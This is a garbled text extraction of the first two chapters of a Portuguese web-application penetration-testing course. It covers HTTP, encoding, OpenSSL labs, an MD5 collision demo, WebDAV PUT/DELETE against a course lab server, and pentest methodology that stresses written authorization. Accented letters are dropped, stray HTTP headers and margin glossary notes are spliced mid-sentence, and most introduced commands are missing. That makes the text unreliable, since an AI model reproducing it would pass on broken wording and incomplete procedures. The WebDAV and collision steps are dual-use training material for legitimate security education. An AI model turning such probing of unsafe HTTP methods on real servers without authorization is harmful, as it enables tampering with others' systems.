Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.4
Set-Cookie: esr=1fa7bce201555382a9e901fff3b3a1fc1226489b; path=/;
domain=rnp.br
Set-Cookie: esr_data=yQdWXrdxCb%2BhaHkaiwD715%2F4PVrGe%2BqfoMX81a1
CksCHNB6J%2BjI%2BrffuKXrlCbCi; path=/; domain=rnp.br
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: esr_data=vsppYJJlddvBfXVW%2FPC%2FAPH7zwMPGzJTMKgMALrli
HhYkDN7bUE1ZP5KN6WkNVBhhA%2Fi3nlB6rALyd7x8qVoIqu8fINFYFqA; path=/;
Captulo 1 - Segurana em aplicaes web
domain=rnp.br
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
X-Content-Encoding: gzip
Content-length: 4965
Content-Type: text/html; charset=iso-8859-1
O primeiro utilizado para solicitar pginas ao servidor e permite que parmetros sejam
passados como parte da URL do recurso. Isso implica que informaes sensveis no devem
ser passadas por meio de GET, pois elas sero exibidas em histricos de navegadores e
registradas em trilhas de auditoria, no servidor web. O mtodo POST empregado para
submeter aes ao servidor e os parmetros podem ser passados como parte do corpo da
mensagem e, tambm, da URL.
Cdigos de estado
Cdigos de estado so valores numricos de trs dgitos, que fazem parte da primeira q
linha da resposta do servidor a uma requisio e denotam o resultado da solicitao.
1 3xx: informam que o cliente precisa realizar aes adicionais para completar a requi-
sio. Ex.: 301 Moved Permanently faz com que requisies subsequentes da URL
solicitada sejam permanentemente redirecionadas para a informada na mensagem.
1 4xx: enviadas quando a requisio no pode ser atendida, por erro de sintaxe, falta de
autorizao ou porque o recurso no foi encontrado. Ex.: 404 Not Found o recurso no
pde ser encontrado no servidor.
1 5xx: indicam erros no servidor que o impediram de atender a requisio. Ex.: 501 Not
Implemented o servidor no suporta o mtodo solicitado.
Cabealhos
Os cabealhos compem a segunda seo das requisies e respostas e definem vrias q
caractersticas importantes de ambas. So compostos pelo nome e o valor, separados
pelo sinal de dois-pontos e listados um por linha.
Os itens a seguir explicam alguns dos cabealhos encontrados nos exemplos anteriores:
18
1 Expires: determina a validade do corpo da mensagem, isto , at que instante o nave-
gador pode utiliz-lo, a partir de uma cpia local, sem necessitar realizar novas requisi-
es para o mesmo recurso.
Cookies
Um cookie um elemento do protocolo HTTP, enviado ao navegador pelo servidor, com q
o objetivo de lembrar informaes de um usurio especfico. formado por uma cadeia
de caracteres, normalmente organizada em pares nome/valor, separados por ponto e
vrgula. Uma vez definido, enviado pelo navegador em toda requisio subsequente
ao mesmo domnio. Dois usos principais so a manuteno de sesso, uma vez que isso
no suportado nativamente pelo protocolo, e a autenticao de usurios.
Alguns atributos podem ser definidos para os cookies, alm dos pares contendo nome e
valor (Stuttard e Pinto, 2007):
1 expires: define por quanto tempo o cookie vlido e, assim, permite que o estado se
mantenha aps o navegador ser encerrado.
1 domain: define para quais domnios o cookie vlido, desde que o servidor seja um
membro daqueles.
Autenticao HTTP
O protocolo HTTP possui dois mtodos nativos, Basic e Digest, para autenticar usurios q
antes que acessem recursos protegidos do servidor (Franks et al., 1999).
q
de informaes.
A impossibilidade de travamento de conta por mltiplas tentativas sucessivas e invlidas
de autenticao e a inexistncia de mecanismos de encerramento de sesso (exceto
fechando o navegador) so alguns dos problemas desses mtodos de autenticao.
19
Exerccio de fixao 3 e
Protocolo HTTP
Quais as principais caractersticas do protocolo HTTP?
Como requisies HTTP oriundas de um mesmo usurio podem ser agrupadas em uma
nica conversao?
Esquemas de codificao
Um processo de codificao consiste em substituir elementos de um conjunto por itens q
de outro, segundo uma regra pr-estabelecida, de modo que o simples conhecimento das
transformaes de ida e volta suficiente para realizar as tradues entre os dois domnios.
Codificao de URL
Uma URL ou mais geralmente uma URI pode conter somente caracteres ASCII impri- q
mveis, conforme especificado pela RFC 3986. Alguns deles possuem significado especial
em URLs, atuando como delimitadores, e, assim, so classificados como reservados.
Quando precisam ser utilizados como dados, nesse contexto, devem ser codificados,
para que possam ser corretamente identificados como tais. O mtodo empregado,
chamado de codificao de URL ou codificao percentual, consiste no uso de um
caractere % seguido de dois dgitos hexadecimais, que representam o valor numrico
do dado sendo codificado.
Por exemplo, um espao, cujo valor ASCII 32, mapeado para %20, de acordo com esse
esquema. Note que, em URLs, espaos tambm podem ser substitudos pelo caractere +.
Teste de Invaso de Aplicaes Web
A Figura 1.9 ilustra a codificao de todos os caracteres reservados de acordo com a RFC
3986. importante mencionar que caracteres no imprimveis devem sempre ser codifi-
cados segundo esse esquema, assim como os reservados, enquanto que os demais ele-
mentos podem ser transformados, se desejado, embora isso no seja obrigatrio.
20
Caractere Caractere Caractere Caractere
reservado codificado reservado codificado
! %21 = %3D
* %2A + %2B
%27 $ %24
( %28 , %2C
) %29 / %2F
; %3B ? %3F
: %3A # %23
Figura 1.9
Codificao dos @ %40 [ %5B
caracteres
reservados em URL. & %26 ] %5D
Codificao HTML
Alguns caracteres possuem significado especial em HTML e, assim, se for necessrio q
exibi-los como parte do contedo, necessrio codific-los, para que no sejam conside-
rados como metacaracteres pelo navegador web. Existem trs maneiras de efetuar essa
tarefa, descritas a seguir:
21
22
Teste de Invaso de Aplicaes Web
Roteiro de Atividades 1
Atividade 1 Arquiteturas e tecnologias de aplicaes web
Identifique a arquitetura e as tecnologias empregadas por uma das aplicaes web utili-
zadas pela empresa em que trabalha. Desenhe a topologia de rede contendo os elementos
principais que suportam a aplicao.
Cifras simtricas
O Advanced Encryption Standard (AES) uma cifra simtrica de blocos adotada pelo
governo norte-americano e descrita no documento FIPS PUB 197. O AES especifica o algo-
ritmo Rijndael, operando sobre blocos de dados de 128 bits e com chaves de 128, 192 ou
256 bits. Note que a especificao original de Rijndael permite trabalhar com tamanhos de
blocos e chaves adicionais.
O primeiro passo antes de se utilizar uma cifra simtrica na proteo do sigilo de informaes
gerar uma chave o mais aleatria possvel e distribu-la seguramente a todas as partes autori-
zadas. Quando o objetivo proteger uma comunicao, isso realizado como parte de um pro-
tocolo de estabelecimento de chaves. Por outro lado, se o propsito prover o sigilo de dados
armazenados, a chave gerada por um PRNG ou por um hardware criptogrfico.
Nesta atividade, vamos utilizar o comando rand, do OpenSSL, para a gerao de uma chave
de 128 bits:
A sada corresponde a uma cadeia de 32 dgitos hexa, que totaliza 128 bits, e pode ser
empregada como chave de um AES-128.
2. Cifrando mensagens
O comando para cifrar uma mensagem com o algoritmo AES, usando uma chave de 128 bits,
Captulo 1 - Roteiro de Atividades
Cifre o arquivo arq002.txt com a chave gerada no passo 1 e com iv = 0, armazenando o resultado
em arq002.enc. Verifique o tamanho desse arquivo e observe que ele mltiplo de 16 bytes
(128 bits tamanho do bloco AES), embora o arquivo original no seja. Isso ocorre porque cifras
23
simtricas de blocos operam sempre em unidades de tamanho fixo pr-definido e, quando o
ltimo bloco no mltiplo desse tamanho, ele completado em um processo de padding.
3. Decifrando mensagens
O comando para decifrar mensagens com o algoritmo AES, usando uma chave de 128 bits,
no modo de operao CBC, :
Repita o processo com uma chave diferente da utilizada no processo de ciframento. Uma
mensagem de erro ser exibida, pois somente possvel decifrar o arquivo com a mesma
chave utilizada para proteg-lo.
Cifras assimtricas
O RSA, cujo nome deriva dos criadores Rivest, Shamir e Adleman, foi a primeira cifra assim-
trica da histria da criptografia e baseada na dificuldade da fatorao de nmeros inteiros
grandes. Atualmente, o criptossistema de chave pblica mais utilizado, principalmente, na
negociao de tneis SSL/TLS.
Um par de chaves RSA consiste em uma chave pblica (e, n) e da chave privada correspon-
dente d. Execute o comando abaixo para gerao de um par de chaves de k bits, com k = 2048.
fcil observar que o formato da sada no adequado para a visualizao de cada uma das
Teste de Invaso de Aplicaes Web
Para que as pessoas possam cifrar mensagens para voc, necessrio que elas tenham uma
cpia autntica da sua chave pblica. Normalmente, isso feito por meio de certificados
24
digitais, mas, por enquanto, apenas exportaremos a chave pblica para um arquivo sepa-
rado, da seguinte maneira:
4. Cifrando mensagens
Nesse passo necessrio disponibilizar sua chave pblica para aqueles que queiram
enviar-lhe mensagens sigilosas. Assim, fornea o arquivo gerado no passo anterior para
um de seus colegas.
Crie um arquivo texto qualquer menor que 200 bytes e execute o comando abaixo para
cifr-lo, usando a chave pblica previamente fornecida.
Verifique o contedo do arquivo cifrado e veja que ele binrio, no tendo nenhuma relao
com o arquivo em claro. Porm, observe que o tamanho do arquivo exatamente o mesmo
que o tamanho da chave.
5. Decifrando mensagens
Repasse o arquivo gerado a seu colega que disponibilizou a chave pblica, para que ele
possa recuperar a mensagem original. Envie tambm o arquivo cifrado a outro colega que
no possua a chave privada correspondente.
6. Arquivos grandes
Repita o passo explicado no item 4 para um arquivo que seja maior que o mdulo da chave
(divida o tamanho em bits por 8). O que acontece? Esse erro ocorre porque o RSA no pode
ser utilizado para proteger mensagens maiores que o tamanho do mdulo.
25
2. Listagem de funes de hash criptogrficas suportadas pelo OpenSSL
man dgst
3. Clculo de hashes
Calcule os hashes dos arquivos abaixo e verifique que so exatamente os mesmos que os
apresentados na tabela.
MD5
arqhash01.txt () d41d8cd98f00b204e9800998ecf8427e
SHA-1
arqhash01.txt () da39a3ee5e6b4b0d3255bfef95601890afd80709
RIPEMD-160
arqhash01.txt () 9c1185a5c5e9fc54612808977ee8f548b2258d31
Visualize com a aplicao evince os arquivos letter_of_rec.ps e order.ps, criados por Magnus
Daum e Stefan Lucks, e veja que so diferentes. Calcule tambm o MD5 dos arquivos, usando
o comando do exerccio anterior, e observe que eles colidem.
Execute os programas evil e good para constatar que realizam tarefas diferentes, embora
possuam o mesmo MD5.
unzip fastcoll_v1.0.0.1_source.zip
26
Agora, execute o arquivo gerado para obter um par de arquivos, msg1 e msg2, para os quais
o MD5 colide. Caso a execuo demore mais que 5 minutos, cancele o programa e o reinicie.
./md5col
Verifique com o comando cmp que os arquivos gerados so diferentes e, com o comando
OpenSSL, que os hashes, mesmo assim, colidem:
Execute o programa md5col mais uma vez para gerar uma nova coliso e compare os valores
MD5 das mensagens geradas.
Assinaturas digitais
O RSA, alm de ser uma cifra, tambm um algoritmo de assinatura digital, que utiliza exa-
tamente a mesma construo e processo de gerao de chaves. A assinatura gerada por
meio da chave privada e a verificao ocorre utilizando-se a chave pblica.
Conforme mencionado, o processo de gerao de chaves o mesmo que os das cifras RSA.
Assim, execute o comando abaixo para gerao de um par de chaves de 2048 bits:
Para que pessoas possam verificar assinaturas digitais geradas por voc, necessrio que elas
tenham uma cpia autntica da sua chave pblica. Normalmente, isso feito por certificados
digitais, mas, por enquanto, apenas exportaremos a chave pblica para um arquivo separado:
3. Assinando mensagens
O OpenSSL implementa o RSA com recuperao da mensagem e, por isso, somente podem
ser assinados dados menores que o tamanho da chave. Escolha um arquivo que deseja
assinar digitalmente e execute o comando abaixo.
pkcs
Repasse o arquivo de assinatura digital a outro aluno, juntamente com sua chave pblica,
para que ele possa verificar a assinatura.
4. Verificando assinaturas
27
-inkey <arquivo contendo chave pblica>
-pubin
-pkcs
-out <arquivo recuperado da assinatura>
Se a assinatura for vlida, nenhuma mensagem ser exibida e o arquivo original ser recu-
perado e gravado no arquivo especificado pelo parmetro out.
Certificados digitais
Conforme discutido, em criptossistemas assimtricos fundamental que sejam utilizadas
chaves pblicas autnticas. O no atendimento desse requisito de segurana torna os proto-
colos vulnerveis a ataques man-in-the-middle, por exemplo. Uma maneira de solucionar esse
problema consiste em encapsular uma chave pblica em um certificado digital, que digital-
mente assinado por uma terceira parte confivel, chamada de autoridade certificadora.
O objetivo desta atividade ilustrar como certificados podem ser requisitados e como o
processo de emisso de certificados digitais, por parte da autoridade certificadora.
Considere-se o par de chaves gerado na atividade sobre assinaturas digitais. Para que ter-
ceiros possam verificar assinaturas geradas com a chave privada em questo, eles precisam
ter acesso chave pblica autntica correspondente, a qual normalmente distribuda
encapsulada em um certificado digital. Para esse fim, o primeiro passo aps a gerao do
par de chaves preparar uma requisio (no formato PKCS #10) a ser enviada a uma autori-
dade certificadora, para emisso do certificado. O comando a ser executado :
28
3. Emitindo o certificado
openssl ca md sha1
in <arquivo de resquisio de certificado>
out <arquivo que conter o certificado>
Para cifrar dados para uma pessoa ou verificar assinaturas que ela tenha gerado, neces-
srio extrair a chave pblica do certificado digital validado. O comando que realiza isso :
Esta atividade tem o objetivo de ilustrar os protocolos HTTP e HTTPS, permitindo que o
aluno compreenda diversos aspectos envolvidos em uma interao com uma aplicao web.
Requisio e resposta
Captulo 1 - Roteiro de Atividades
O objetivo desta atividade ilustrar como so requisies e respostas HTTP, por meio da
anlise dos pacotes de uma solicitao ao servidor web de exemplo. Os passos que devem
ser executados esto descritos nos itens a seguir:
29
2. Clique no primeiro cone da barra de ferramentas para listar as interfaces de rede dispon-
veis para captura. Na caixa de dilogo que aparece, clique em Options, na linha eth1. No
campo Capture filter, digite tcp port http e clique em Start para iniciar a captura de pacotes.
5. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela linha contendo GET / HTTP/1.1 (linha 4), clique com o boto esquerdo e selecione
Follow TCP Stream.
6. Uma janela ser exibida contendo a requisio GET inicial e a resposta fornecida pelo
servidor web. Observe os diversos cabealhos presentes e que o corpo da resposta
contm um documento HTML.
Mtodos
Nesta atividade sero explorados diversos outros mtodos HTTP, que no GET e POST, e
ilustradas algumas vulnerabilidades que podem decorrer de um servidor mal configurado:
telnet exemplo.esr.rnp.br 80
OPTIONS / HTTP/1.0
Host: exemplo.esr.rnp.br
3. Pressione Enter duas vezes e analise a resposta dada pelo servidor. Observe que o WebDAV
est habilitado, bem como mtodos perigosos como DELETE, COPY e MOVE.
cadaver http://exemplo.esr.rnp.br
help
Teste de Invaso de Aplicaes Web
ls
put arq001.txt
ls
30
8. O arquivo copiado pode ser removido por meio do comando delete do DAV, mas, como
exerccio, remova-o por meio de uma requisio HTTP, em uma nova janela de terminal:
telnet exemplo.esr.rnp.br 80
DELETE /arq001.txt HTTP/1.0
Host: exemplo.esr.rnp.br
9. Pressione Enter duas vezes e veja o resultado no cadaver, listando os arquivos presentes
no diretrio.
10. O mtodo HEAD equivalente ao GET, com a diferena de que o corpo da resposta no
fornecido. Vejamos:
telnet exemplo.esr.rnp.br 80
HEAD / HTTP/1.1
Host: exemplo.esr.rnp.br
Cdigos de estado
Nas atividades anteriores, o servidor retornou sempre o cdigo de estado 2XX, indicando
que a requisio foi atendida com sucesso. Na presente tarefa, sero apresentadas situa-
es em que outros cdigos so fornecidos pelo servidor.
1. Em uma janela de terminal, digite os comandos abaixo, finalizando com Enter duas vezes:
telnet w3s.esr.rnp.br 80
GET / HTTP/1.1
Host: w3s.esr.rnp.br
A resposta com cdigo 302 indica ao navegador que o recurso foi encontrado, mas que um
redirecionamento necessrio para acessar o recurso.
2. Em uma janela de terminal, digite os comandos abaixo, finalizando com Enter duas vezes:
telnet exemplo.esr.rnp.br 80
GET /inexistente HTTP/1.1
Host: exemplo.esr.rnp.br
A resposta com cdigo 404 indica ao navegador que o recurso no foi encontrado no servidor.
telnet exemplo.esr.rnp.br 80
BLA
Como no existe um mtodo BLA, o servidor retorna uma resposta com cdigo de estado
Captulo 1 - Roteiro de Atividades
Autenticao Basic
A autenticao bsica do protocolo HTTP pode ser configurada para restringir acesso a
reas sensveis do servidor web. Conforme visto, algumas desvantagens desse mtodo
incluem a impossibilidade de travamento de conta e de encerramento de sesses ociosas.
Siga o seguinte roteiro para essa atividade:
31
1. Inicie nova captura no Wireshark, da mesma maneira que na atividade de Requisio
e Resposta.
2. Caso a mensagem Save capture file before starting a new capture? aparea, clique em
Continue without saving.
6. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela primeira linha contendo GET /basic HTTP/1.1 (linha 4), clique com o boto esquerdo
e selecione Follow TCP Stream.
7. Observe que o servidor retornou uma resposta com cdigo 401, o que fez com que o nave-
gador exibisse a caixa de dilogo solicitando usurio e senha. Clique em Filter out this stream.
Autenticao Digest
A autenticao Digest do protocolo HTTP, assim como o modo Basic, pode ser configurada
para restringir acesso a reas sensveis do servidor web e possui as desvantagens de no
ser possvel travar contas, nem de encerrar sesses ociosas. A grande diferena que ela
transmite o usurio e senha protegidos por mtodos no reversveis. Para estudar esse
modo de autenticao, siga o seguinte roteiro:
2. Caso a mensagem Save capture file before starting a new capture? aparea, clique em
Continue without saving.
3. Se o Firefox j estiver aberto, pressione Ctrl + Shift + Del para limpar o histrico recente.
6. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela primeira linha contendo GET /digest HTTP/1.1 (linha 4), clique com o boto esquerdo
e selecione Follow TCP Stream.
7. Observe que o servidor retornou uma resposta com o cdigo 401, o que fez com que o
navegador exibisse a caixa de dilogo solicitando usurio e senha. Contudo, diferente-
mente do modo Basic, o cabealho WWW-Authenticate est definido como Digest e um
nonce foi fornecido. Clique em Filter out this stream.
32
9. Veja que o navegador adicionou o cabealho Authorization: Digest requisio, com
diversos parmetros. O elemento response demonstra o conhecimento da senha pelo
usurio e resultado da aplicao de uma funo de hash criptogrfica concatenao
de uma srie de informaes.
HTTPS
O protocolo HTTPS basicamente consiste no transporte de HTTP por um canal SSL/TLS.
Se o servidor estiver bem configurado, o tnel atender os requisitos de confidencialidade,
integridade, autenticidade da origem da mensagem e de entidades. Siga o seguinte roteiro
para constatar isso:
4. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela linha contendo Client Hello (linha 4), que o incio da negociao TLS.
33
Bibliografia 1
1 BARKER, Elaine; BARKER, William; BURR, William; POLK, William e SMID, Miles.
Recommendation for key management part 2: Best practices for key management
organization. NIST Special Publication 800-57, NIST, 2007b.
1 BERNERS-LEE, Tim; FIELDING, Roy T. e MASINTER, Larry. RFC 3986: Uniform Resource
Identifier (URI): Generic Syntax, 2005.
1 FIELDING, Roy T.; GETTYS, James; MOGUL, Jeffrey C.; NIELSEN, Henrik Frystyk; MASINTER,
Larry; LEACH, Paul J. e BERNERS-LEE, Tim. RFC 2616: Hypertext Transfer Protocol
HTTP/1.1, 1999.
1 FRANKS, John; HALLAM-BAKER, Phillip M.; HOSTETLER, Jeffery L.; LAWRENCE, Scott D.;
LEACH, Paul J.; LUOTONEN, Ari e STEWART, Lawrence C. RFC 2617: HTTP Authentication:
Basic and Digest Access Authentication, 1999.
1 KISSEL, Richard; STINE, Kevin; SCHOLL, Matthew; ROSSMAN, Hart; FAHLSING, Jim e
GULICK, Jessica. Security considerations in the system development life cycle. NIST Special
Publication SP 800-64, National Institute of Standards and Technology, 2008.
1 LITCHFIELD, David. The Oracle Hackers Handbook Hacking and Defending Oracle. Wiley
Publishing, Inc., 2007.
1 MCGRAW, Gary. Software Security: Building Security In. Addison-Wesley Professional, 2006.
1 MENEZES, Alfred J.; VAN OORSCHOT, Paul. C. e VANSTONE, Scott. A. Handbook of Applied
Cryptography. CRC Press, 5th edition, 2001.
1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009a.
1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.
1 SHKLAR, Leon e ROSEN, Richard. Web Application Architecture: Principles, Protocols and
Practices. 2. Edio. Wiley, 2009.
David; OSVIK, Dag Arne e DE WEGER, Benne. Short Chosen-Prefix Collisions for MD5 and
the Creation of a Rogue CA Certificate. In: Proceedings of the 29th Annual International
Cryptology Conference on Advances in Cryptology LNCS. Vol. 5677. p. 55-69. Springer-Verlag,
2009.
1 STUTTARD, Dafydd; PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
34
1 VAN DER STOCK, Andrew; CRUZ, Dinis; CHAPMAN, Jenelle; LOWERY, David; KEARY, Eoin;
MORANA, Marco M.; ROOK, David; WILLIAMS, Jeff e PREGO, Paulo. OWASP code review
guide v1.1. OWASP, 2008.
1 WANG, Xiaoyun; YU, Hongbo. How to break MD5 and other hash functions. Eurocrypt 2005.
Springer-Verlag, 2005.
1 WIESMANN, Adrian; CURPHEY, Mark; VAN DER STOCK, Andrew e STIRBEI, Ray. A guide to
building secure web applications and web services. OWASP, 2005.
1 WYSOPAL, Chris; NELSON, Lucas; ZOVI, Dino Dai e DUSTIN, Elfriede. The Art of Software
Security Testing: Identifying Software Security Flaws. Symantec Press, 2006.
Captulo 1 - Bibliografia 1
35
36
Teste de Invaso de Aplicaes Web
2
Reconhecimento e mapeamento
objetivos
conceitos
Tipos e metodologia de teste de invaso, proxy de interceptao, web spiders,
fuzzers, varredores de portas e servios, varredores de vulnerabilidades,
reconhecimento, mapeamento, controles no lado cliente.
Introduo
Teste de invaso, tambm chamado de teste de intruso, teste de penetrao ou pentest, q
um mtodo utilizado para verificar a segurana de um ambiente, plataforma ou sistema,
por meio da simulao de ataques reais explorando as vulnerabilidades encontradas.
Varredura de
vulnerabilidades Diferentemente de uma varredura de vulnerabilidades, que muitas vezes recorre ao
Mtodo comumente simples uso de ferramentas automatizadas, pentest um processo cclico que depende
automatizado
principalmente do conhecimento tcnico do auditor de segurana que o realiza.
para identificar
vulnerabilidades em Este fato acaba sendo ressaltado quando o teste realizado contra aplicaes web, devido
elementos e sistemas
s caractersticas nicas que cada uma delas apresenta, por serem normalmente desenvol-
de rede. Cada um dos
ativos pertencentes ao vidas para uso em uma nica empresa ou entidade.
escopo da varredura
testado contra uma Segundo Scarfone et al (2008), testes de invaso tambm so teis para medir: a habilidade
srie de fraquezas da equipe de detectar e se defender contra ataques reais do ambiente alvo; o nvel neces-
conhecidas para a
srio de sofisticao de um atacante para comprometer o sistema; quo bem um sistema se
plataforma especfica.
comporta sob ataques, e as medidas adicionais que precisam ser adotadas para mitigar os
Captulo 2 - Reconhecimento e mapeamento
riscos identificados. Alguns dos tipos de teste descritos no The Open Source Security Testing
OSSTMM Methodology Manual OSSTMM 3 (Herzog, 2010) visam, justamente, verificar os dois pri-
Metodologia aberta meiros itens da lista acima, em vez da segurana do prprio alvo.
q
para realizao de
testes de segurana Testes de penetrao podem ser classificados em alguns tipos, de acordo com a quanti-
em ambientes,
dade de informao que apresentada ao auditor de segurana:
visando eliminar
aspectos subjetivos da 1 Teste caixa-preta: visa simular as mesmas condies de um atacante real, que
atividade, por meio da
possui acesso somente s informaes pblicas do alvo, como endereos IP externos,
definio de processos
reprodutveis e nomes de domnio e ramo de negcio da entidade.
mtricas para avaliao
dos resultados.
37
1 Teste caixa-branca: neste tipo de teste, todas as informaes do alvo so fornecidas q
ao auditor, incluindo topologia de rede, plataformas utilizadas, diagramas de casos
de uso, linguagens empregadas, cdigos-fonte e endereamento interno. O objetivo
desta abordagem simular ataques que podem ser realizados por pessoas com
conhecimento privilegiado do alvo, como funcionrios e ex-colaboradores.
1 Teste caixa-cinza: este tipo de teste uma mistura dos dois anteriores, antecipando
ao auditor aquelas informaes do alvo que um atacante obteria, cedo ou tarde, em
um processo de invaso real. Desse modo, o objetivo desta modalidade acelerar a
execuo do teste, poupando o tempo gasto pelo auditor nos processos de reconhe-
cimento e mapeamento.
Alguns padres de segurana, como o PCI DSS (PCI, 2009a) e o PCI PA-DSS (PCI, 2009b), por
exemplo, requerem testes de invaso regulares contra as aplicaes, visando o atendimento
desses objetivos. No contexto apresentado, o objetivo deste captulo introduzir uma meto-
dologia de teste de invaso de aplicaes web, abordando as fases de reconhecimento, mape-
Teste de Invaso de Aplicaes Web
Exerccio de nivelamento 1 e
Teste de invaso
O que se entende por teste de invaso?
38
Metodologia de teste de invaso
fundamental realizar testes de invaso, assim como qualquer outra atividade, de q
acordo com mtodos pr-definidos, de modo a permitir que diferentes pessoas
alcancem resultados semelhantes, que possam ser reproduzidos.
Imagine-se uma pessoa que queira escalar uma montanha e apreciar a vista privilegiada do
topo. Inicialmente, ela deve reconhecer e mapear pontos intermedirios que possam ser
alcanados, limitando-se ao que possvel enxergar a partir da base. Em seguida, ela deve
identificar caminhos que a conduzam aos lugares mapeados e percorr-los para atingi-los.
Nesta nova posio, tem-se uma vista maior do horizonte e a pessoa capaz de vislumbrar
novas regies para as quais se dirigir, repetindo as etapas anteriores. Note-se que, a cada
iterao, ela se aproxima mais e mais do cume e consegue ver muito mais do que circunda a
montanha. Haver vezes, porm, que a partir de certos lugares, no ser possvel progredir
e ela ter de retornar um ou mais passos, para continuar. Tudo isso ocorre de maneira
similar em um pentest!
Denio de escopo
e autorizao
Documentao
Reconhecimento
Explorao de
Mapeamento
vulnerabilidades
Identicao de
vulnerabilidades
Figura 2.1
Etapas de um teste Apresentao de resultados
de invaso.
O primeiro passo, antes de iniciar qualquer teste de invaso, obter do cliente, por escrito, q
Captulo 2 - Reconhecimento e mapeamento
uma autorizao para execuo do teste e o escopo que ser coberto pela atividade.
Normalmente, isso feito por meio de um contrato assinado entre as partes, que define,
tambm, o tipo de teste que ser realizado, as premissas do trabalho (por exemplo, janelas
tcnicas que sero disponibilizadas) e os insumos que devem ser fornecidos pelo contratante,
nos casos de testes caixa-cinza ou caixa-branca. Para estes ltimos, comum solicitar, alm
da documentao da aplicao, a criao de usurios com perfis comuns e a enumerao de
um ou mais usurios privilegiados, para os testes de escalada de privilgios. Cabe ao cliente,
por sua vez, definir se a equipe de segurana interna ser avisada ou no sobre o pentest.
Outro ponto que deve ser considerado se os testes sero realizados internamente, q
externamente ou a partir de ambos os posicionamentos.
39
No primeiro caso, a estao de teste deve ser colocada no mesmo segmento da rede em que
ficam os usurios comuns da entidade, com o mesmo nvel de acesso lgico e fsico. J no
teste externo, o auditor recebe um acesso equivalente ao de um usurio remoto ou ao de
um possvel atacante, ou seja, todos os testes sero controlados por quaisquer mecanismos
de proteo de permetro, como firewalls e WAFs. Eventualmente, as regras desses ele- WAF
mentos podem ser suavizadas para os endereos IP de origem, de modo a no bloque-los Web Application Firewall
um dispositivo
e impedir o andamento dos testes. Um exemplo de caso em que necessrio realizar testes
que atua na camada
internos e externos o atendimento do requisito 11 do PCI DSS (PCI, 2009a). de aplicao com o
O trabalho propriamente dito comea com a fase de reconhecimento, cujo objetivo q objetivo de identificar
e bloquear trfego
levantar qualquer tipo de informao que possa auxiliar no teste de invaso. malicioso direcionado
a uma aplicao web.
Assim, nesta etapa, o auditor busca identificar, por exemplo, servidores que suportam a Por meio da definio
de regras, capaz
aplicao, sistemas operacionais instalados, linguagens de programao empregadas, nomes
de oferecer proteo
de potenciais usurios do sistema, regras de formao de identificadores de usurio, configu- contra ataques
raes de softwares, conveno utilizada na atribuio de nomes de mquinas, dentre muitas conhecidos, como
Injeo de SQL e XSS,
outras informaes. Todo esse levantamento realizado de diversas maneiras, incluindo
por exemplo, alm de
testes no prprio ambiente, testes indiretos e pesquisa em fontes de informao externas. servir para aplicao de
O prximo passo, o de mapeamento, consiste em relacionar tudo que foi coletado na etapa q correes virtuais, para
vulnerabilidades recm-
anterior e criar um mapa da aplicao, que reflita a estruturao dos arquivos componentes, descobertas e no
previstas pelo sistema.
as funcionalidades ofertadas, os pontos de entrada de informao e as tecnologias utilizadas.
Para isso, as informaes j coletadas devem ser complementadas com as pginas que
compem o sistema, que podem ser obtidas por mtodos manuais ou automticos. Em
caso de teste caixa-preta, na primeira iterao, comum que apenas algumas sees da
aplicao sejam mapeadas, pois ainda no se tem acesso s reas protegidas, que requerem
autenticao do usurio. Tais regies s podem ser alcanadas medida que o teste avana,
vulnerabilidades identificadas so exploradas e acesso obtido.
Por exemplo, imagine-se que uma aplicao de correio eletrnico est sendo testada e as
nicas pginas mapeadas, inicialmente, so a de autenticao de usurio e a de recupe-
rao de senha. Alm disso, considere-se que na fase de reconhecimento, descobriu-se um
diretrio conf acessvel via servidor web. No cenrio exposto, a presena das seguintes
fraquezas, pelo menos, deve ser verificada:
1 Existncia de arquivos interessantes no diretrio conf que possam conter, por exemplo,
identificadores de usurios vlidos;
O guia de testes do OWASP (Meucci et al., 2008), que base do presente texto, enumera veri-
ficaes para cerca de setenta vulnerabilidades, agrupadas nas seguintes classes, as quais
sero cobertas ao longo deste curso:
40
1 Levantamento de informaes culminam na revelao de informaes relevantes a
um atacante. Exemplo: exibio de comando SQL ao usurio, devido a erro causado por
sintaxe incorreta.
l
de sesso em algum ponto do ciclo de vida deles, resultando em acesso no autorizado
a funcionalidades e informaes. Exemplo: uso de nmeros sequenciais para identifica-
Web service um
componente de dores de sesso.
software descrito em
WSDL que fornece um 1 Autorizao vulnerabilidades que possibilitam que algum sem os devidos privilgios
servio acessvel pela realize uma operao ou acesse uma informao. Exemplo: sistema que desabilita itens
rede a outros servios de menu de acordo com verificao inicial de privilgios, mas que no valida as requisi-
e aplicaes.
Asynchronous es, quando realizadas.
JavaScript and XML
1 Lgica de negcios erros na implementao das regras de negcio fornecem um
(AJAX) compreende um
conjunto de tecnolo- caminho para que elas no sejam honradas por usurios maliciosos. Exemplo: loja de
gias utilizadas com o comrcio eletrnico que no verifica se o preo de um produto negativo.
objetivo de permitir a
criao de aplicaes 1 Validao de dados esta classe engloba os problemas decorrentes do uso de infor-
interativas, que maes fornecidas por usurios, sem as validaes necessrias, e pode acarretar desde
buscam informaes
o vazamento de informaes at o comprometimento de outros usurios do ambiente.
no servidor de
maneira assncrona, Exemplo: informao usada diretamente na construo de uma consulta SQL, permi-
por meio de Javascript. tindo a injeo de comandos arbitrrios.
Estas podem ser
formatadas como 1 Negao de servio falhas que podem ser usadas para impedir o uso da aplicao,
documentos XML ou normalmente, pela exausto de recursos. Exemplo: sistema que no verifica memria
HTML, por exemplo, e
utilizadas para disponvel antes de realizar alocao dinmica.
atualizar dinamica-
1 Web services e AJAX de modo geral, so afetados por variaes das vulnerabilidades
mente a pgina com a
qual o usurio est tradicionais, com algumas peculiaridades de cada tecnologia. Exemplo: web service que
interagindo. no valida se a mensagem bem formada, antes de process-la.
